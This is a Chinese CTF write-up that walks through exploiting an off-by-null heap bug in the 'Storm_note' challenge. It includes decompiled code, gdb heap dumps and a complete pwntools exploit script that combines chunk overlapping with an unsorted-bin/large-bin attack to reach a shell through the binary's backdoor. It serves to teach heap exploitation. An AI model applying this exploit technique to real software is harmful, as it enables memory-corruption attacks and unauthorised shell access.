pwn-堆溢出off-by-one

0x00:前言

off-by-one是堆溢出中比较有意思的一类漏洞,漏洞主要原理是 malloc 本来分配了0x20的内存,结果可以写 0x21 字节的数据,多写了一个,影响了下一个内存块的头部信息,进而造成了被利用的可能,这里就以西湖论剑的一道题目来讲解这个漏洞

0x01:例子

题目链接

http://file.eonew.cn/ctf/pwn/Storm_note

解题思路

首先检测一下程序检测,该开的都开了

Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

首先用IDA观察一下程序,有delete_note,backdoor,alloc_note,edit_note四个功能

 while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      delete_note();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 666 )
        backdoor();
LABEL_15:
      puts("Invalid choice");
    }
    else if ( v3 == 1 )
    {
      alloc_note();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      edit_note();
    }
  }

init_proc

程序执行之前有这个初始化函数,可以看到关闭了 fastbin 机制

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

alloc_note

可以看到输入size之后,程序会calloc一块内存(calloc类比malloc),存放note,而note_size则存放在note后面

  for ( i = 0; i <= 15 && note[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf("%d", &v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);
      note_size[i] = v1;
      puts("Done");
    }
    else
    {
      puts("Invalid size");
    }
  }

note存放信息如下

bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?)       ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; delete_note+BE↑o
.bss:00000000002020A0                   public note
.bss:00000000002020A0                   ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?)            ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends

edit_note

edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,这里存在 off by null 漏洞。

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    puts("Content: ");
    v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
    *(_BYTE *)(note[v1] + v2) = 0; // off-by-one
    puts("Done");
  }
  else
  {
    puts("Invalid index");
  }

delete_note

可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作,不存在UAF漏洞

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free((void *)note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }
  else
  {
    puts("Invalid index");
  }

backdoor

可以看到system("/bin/sh");函数,函数首先读 0x30 长度,然后输入的内容和 mmap 段映射的内容相同即 getshell

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);

思路

  • Chunk Extend 使得chunk重叠
  • 控制chunk
  • 控制unsort bin和large bin
  • overlapping 伪造 fake_chunk
  • 触发后门

这里首先我们连续申请7块chunk,这里是三个一组,两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

布局如下图

pwn-堆溢出off-by-one_第1张图片

然后我们伪造 prev_size

# 改pre_size为0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))

调试可以看到

gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0:	0x6161616161616161	0x6161616161616161
0x55dc2ede8500:	0x6161616161616161	0x6161616161616161
0x55dc2ede8510:	0x6161616161616161	0x6161616161616161
0x55dc2ede8520:	0x0000000000000500	0x0000000000000000 => fake prev_size
0x55dc2ede8530:	0x0000000000000000	0x0000000000000021
0x55dc2ede8540:	0x0000000000000000	0x0000000000000000
0x55dc2ede8550:	0x0000000000000000	0x0000000000000021
0x55dc2ede8560:	0x0000000000000000	0x0000000000000000
0x55dc2ede8570:	0x0000000000000000	0x0000000000000511
0x55dc2ede8580:	0x0000000000000000	0x0000000000000000
0x55dc2ede8590:	0x0000000000000000	0x0000000000000000
0x55dc2ede85a0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85b0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85c0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85d0:	0x0000000000000000	0x0000000000000000

释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null,这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size,这里就能通过溢出 00 到下一个 chunk 的 size 字段,使之低字节覆盖为 0。

delete_note(1)
# off by null 将1号块的size字段覆盖为0x500
edit_note(0, 'b'*(0x18))

调试可以看到chunk1已经被放进了 unsorted bin

gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000:	0x0000000000000000	0x0000000000000021
0x562071ea0010:	0x6262626262626262	0x6262626262626262
0x562071ea0020:	0x6262626262626262	0x0000000000000500
0x562071ea0030:	0x00007fe9f2875b78	0x00007fe9f2875b78
0x562071ea0040:	0x0000000000000000	0x0000000000000000
0x562071ea0050:	0x6161616161616161	0x6161616161616161
0x562071ea0060:	0x6161616161616161	0x6161616161616161
0x562071ea0070:	0x6161616161616161	0x6161616161616161
0x562071ea0080:	0x6161616161616161	0x6161616161616161
0x562071ea0090:	0x6161616161616161	0x6161616161616161

接下来我们申请两块chunk,因为关闭了 fastbin 机制,所以会从unsorted bin上,然后delete掉它们,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块

alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2)  # unlink进行前向extend

调试如下,index为7的指向的地方和unsortedbin里面的chunk已经重叠了

gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000:	0x0000000000000000	0x0000000000000021
0x5564795ff010:	0x6262626262626262	0x6262626262626262
0x5564795ff020:	0x6262626262626262	0x0000000000000531
0x5564795ff030:	0x00007f8305be4b78	0x00007f8305be4b78
0x5564795ff040:	0x0000000000000000	0x0000000000000000
0x5564795ff050:	0x0000000000000000	0x0000000000000000
0x5564795ff060:	0x0000000000000000	0x0000000000000000
0x5564795ff070:	0x0000000000000000	0x0000000000000000
0x5564795ff080:	0x0000000000000000	0x0000000000000000
0x5564795ff090:	0x0000000000000000	0x0000000000000000

alloc_note(0x30)之后2号块与7号块交叠,这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针

alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

接下来的原理同上

edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

接下来需要我们控制 unsort bin 和 large bin

delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。

gdb-peda$ x/20gx 0x55609685a000
0x55609685a000:	0x0000000000000000	0x0000000000000021
0x55609685a010:	0x6262626262626262	0x6262626262626262
0x55609685a020:	0x6262626262626262	0x0000000000000041
0x55609685a030:	0x0000000000000000	0x0000000000000000
0x55609685a040:	0x0000000000000000	0x0000000000000000
0x55609685a050:	0x0000000000000000	0x0000000000000000
0x55609685a060:	0x0000000000000000	0x00000000000004f1 => chunk 2
0x55609685a070:	0x00007fec67d73b78	0x00007fec67d73b78 => unsorted bin
0x55609685a080:	0x0000000000000000	0x0000000000000000
0x55609685a090:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570:	0x6161616161616161	0x0000000000000051
0x55609685a580:	0x0000000000000000	0x0000000000000000
0x55609685a590:	0x0000000000000000	0x0000000000000000
0x55609685a5a0:	0x0000000000000000	0x0000000000000000
0x55609685a5b0:	0x0000000000000000	0x0000000000000000
0x55609685a5c0:	0x0000000000000000	0x00000000000004e1 => chunk 5
0x55609685a5d0:	0x00007fec67d73f98	0x00007fec67d73f98
0x55609685a5e0:	0x000055609685a5c0	0x000055609685a5c0
0x55609685a5f0:	0x0000000000000000	0x0000000000000000
0x55609685a600:	0x0000000000000000	0x0000000000000000

接下来我们伪造 fake_chunk,通过 chunk7 控制 chunk2

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)

同样的通过 edit(8) 来控制 chunk5

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

接下来我们需要触发后门

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

exp如下

from pwn import *

r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"

if args.G:
    gdb.attach(r)


def alloc_note(size):
    r.sendline('1')
    r.recvuntil('?')
    r.sendline(str(size))
    r.recvuntil('Choice')

def edit_note(idx, mes):
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Content')
    r.send(mes)
    r.recvuntil('Choice')

def delete_note(idx):
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Choice')

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))

alloc_note(0x18)
alloc_note(0x4d8)

delete_note(1)
delete_note(2)

alloc_note(0x30)
alloc_note(0x4e8)

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

# 0xabcd00f0
alloc_note(0x48)

edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)

r.interactive()

运行结果如下

Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py 
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py    HITCON-Training  Storm_note  test.py  vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive

0x02:总结

这种漏洞因为只能利用一个字节,需要我们多去思考如何构造chunk

参考链接
http://blog.eonew.cn/archives/709
https://blog.csdn.net/weixin_40850881/article/details/80293143

你可能感兴趣的:(题目篇)